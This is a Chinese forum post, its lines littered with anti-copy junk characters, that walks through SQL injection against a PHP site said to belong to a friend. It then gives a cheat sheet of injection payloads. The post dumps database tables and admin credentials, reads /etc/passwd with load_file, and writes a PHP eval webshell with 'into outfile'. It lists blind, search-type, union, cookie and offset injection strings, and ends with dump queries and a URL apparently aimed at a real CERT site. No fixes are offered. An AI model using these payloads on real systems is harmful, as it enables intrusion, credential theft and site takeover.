我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~4 `) X+ a, p8 G, h2 z& ?
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?5 P; V& @! y6 j1 v! g+ c [0 Q) X
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
2 K$ B+ M! {) h% T0 p如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)- Q7 }; q8 k6 y& q8 `/ _8 ]/ S
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)5 ]$ t" z/ T3 V0 `
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:6 W; V. B$ G, {
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
' [' q0 H+ |5 A3 g/ A/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入/ |6 A! w2 F9 O
0 x1 ]6 q8 ?. \0 n# s2 A2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,: v" n! O3 U6 q9 O; V- ?
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
% f" H7 \. Y$ o3 D0 h4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
1 T; X' M1 T, p3 C( q; n) l. ]5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
1 y# S8 D6 Z0 b! V& ]有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
$ |' n9 \9 Y4 t2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。& y2 Y3 f8 f; ~
我就用的是第二个思路,0 w' W$ u+ O' N6 m
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- # W7 C4 W9 |; U5 g
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,- G- y* Q( r) r4 q, H. E7 U
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--( x! E! h) W3 v9 k4 ?" `
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。0 p, y: n4 e3 d% x
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????. V9 f2 f! R/ l7 u o$ E
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....5 c* C) G w7 ]+ ]6 |$ O4 [
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --, D( {& ?8 T f! v
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,' }% `) P! l2 ^1 V( X7 M
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
' _& {) f" P8 m% y( O6 ]下面是一些很普遍注入方式资料:
0 P0 o4 T+ }* B! |4 f5 D8 v3 G注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
5 o: u7 C c* H; w拆半法1 f+ d. f" \( {* b/ `) d2 a: p
######################################
& B. g# ~+ a9 c& k \3 rand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。7 ^; N/ i$ i3 }3 }6 j
and exists (select * from admin)- Q, u& X% r1 ]+ C* x' x# h4 w
and exists(select id from admin)4 f" `: g, i J; @
and exists(select id from admin where id=1): C) s. Y* `8 v+ N- ^
and exists(select id from admin where id>1)
# E& d5 `8 M: F$ E然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
4 y1 L& j( j2 t/ M5 Nand exists (select username from admin)4 L, T- Y9 }& o: z& C; x
and exists (select password from admin)
" x/ S8 @+ y! Yand exists (select id from admin where len(username)<10 and id=1)
! t# e1 L% p& x: a' Zand exists (select id from admin where len(username)>5 and id=1)
4 y. z" r: m+ h {# Sand exists (select id from admin where len(username)=6 and id=1)
8 e0 H+ |7 r9 q( {8 e. c. cand exists (select id from admin where len(password)<10 and id=1), v5 [6 M# N$ s* l# t) ]
and exists (select id from admin where len(password)>5 and id=1): L3 {' k: A& J) K1 i
and exists (select id from admin where len(password)=7 and id=1)
; k8 c3 K' [2 g/ d }and (select top 1 asc(mid(username,1,1)) from admin)=97
4 m2 w3 t' U1 m( Z' m返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
) L4 \9 J1 N( q; l9 J# M猜第二位把username,1,1改成username,2,1就可以了。( Z. a5 H0 U; h1 C- A
猜密码把username改成password就OK了$ Z; N6 V6 V9 e
##################################################5 k/ Y, `% q: D/ S. \
搜索型注入( V2 A( {4 z' C1 J9 a/ P* y6 A
##################################
, y2 {, h4 p9 }%' and 1=1 and '%'='1 W6 ?. ^, l* Z! L F+ }0 [" h$ s: w
%' and exists (select * from admin) and '%'=' b" j) z1 e. P0 F R1 F
%' and exists(select id from admin where id=1) and '%'='
: H/ _& e; m& k2 N8 W+ z) m" `! t%' and exists (select id from admin where len(username)<10 and id=1) and '%'='; X+ w; z+ K8 t7 s' _. `0 @. R
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='* C8 z" f! A+ h% f/ H
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='8 f8 X4 [) ?, U$ [
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'=': [+ N# P# k4 `1 h% V' x! _
对于MSSQL数据库,后面可以吧 and '%'='换成--
# X* k6 L+ K9 S# x还有一点搜索型注入也可以使用union语句。
$ V2 W$ V" a2 A4 a# C" f########################################################9 N" U6 G( ?+ F K6 }
联合查询。! q: [4 H. a4 t' G: ^3 w% q
#####################################
9 x+ P+ D; B7 I, D4 \4 uorder by 10+ g2 v H: }/ d/ v+ l* n
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
0 R3 l" T1 l: H1 z0 ^3 ^7 j2 hand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
" d- e9 i1 ~! {. S) y$ x6 Y0 N, dand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=10 {# F! G) _6 ?) w' m
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)3 E& k* I4 M7 K1 K0 c/ I5 I
###################################" W; I' Z% E% n0 Y
cookie注入1 i+ w6 b v) o5 k' f
###############################1 B; u4 X' g* F6 t" m
http://www.******.com/shownews.asp?id=127
6 G7 |& Y7 K1 O; {: b0 Vhttp://www.******.com/shownews.asp
8 d: d: G% ]. J2 Dalert(="id="+escape("127"));
( N% g# [$ B, G+ L, y; Nalert(="id="+escape("127 and 1=1"));
# i0 {8 Q9 ^, u0 M. j3 H6 lalert(="id="+escape("127 order by 10"));9 O, {& h/ v" {( M& P' |
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
" c/ j y9 y1 W* g- talert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
# g2 q1 |% e4 B7 B$ l这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。$ Y3 h1 S* F8 K ^ t2 q' _
###################################0 l3 Z, o1 x+ y; B; z
偏移注入
, q8 i; g& l$ |: A###########################################################
/ a3 F- M' f! T7 F8 y- Q; Punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin2 I3 p7 K5 m9 r; ~- a3 X
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin7 Y6 R/ y2 P/ n3 {; ~1 f V
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)2 s' f2 S& t/ s. N$ f) @& f) W
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
$ S2 I5 \& F: q, y Iunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
' M0 [0 Z7 l- v) o l! T- tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
^- }6 U5 S$ l" qunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on6 C$ _& z. ^ ?7 V. }7 B% f
a.id=d.id)
+ `) r) j% D; dand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)' X0 G: y2 |& J! p7 [
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) ! }' ^1 x. M% I5 ^6 Q- K. g- v
. t- d2 d- f& n6 d5 _2 N! U& ^============================================================================================================
, P7 D2 x% I8 s s( v1.判断版本
9 X! @/ `+ q- r8 band ord(mid(version(),1,1))>51) q/ ?, w9 Y8 z! Q. d
返回正常,说明大于4.0版本,支持ounion查询
; N k8 f# @+ ]2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
* W, L l7 |. ^( l' Zand 2=4 union select 1,2,3,4,5,6,7,8,9--5 \0 h8 @0 ]1 T- q/ J: j
3.查看数据库版本及当前用户,5 e1 Y R5 I( [( r: ]
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
2 j+ D/ y% E P9 N8 g. P' }% k数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,$ ~: H) A2 H# |5 ^0 @, {4 P
4.判断有没有写权限
% U% w' G4 a$ d3 w8 fand (select count(*) from MySQL.user)>0--
2 p) Y8 R; X6 [1 @( |+ O7 w- M) U6 A5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,14 U% U1 ~6 }9 a+ x7 [' s( M6 D
用不了这个命令,就学习土耳其黑客手法,如下% ]8 ~+ r# D# G/ l7 r% \
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--* E. g+ `: M) r
6.爆表,爆库
9 g- d/ o8 G. G6 o1 y$ pand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274-- {, m) C" G7 x
7.爆列名,爆表
0 U5 H8 x/ }) v {* _4 h3 q0 Sand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--; ~' ?4 ?6 l; R; N7 z" [
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
& R1 H5 B2 i; n) n; Fand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--6 l ~" J4 \6 n
9.爆字段内容
$ s7 n& z( }2 H. ]& N8 H8 Cand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--' y" D7 K/ D# T* Z. X
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |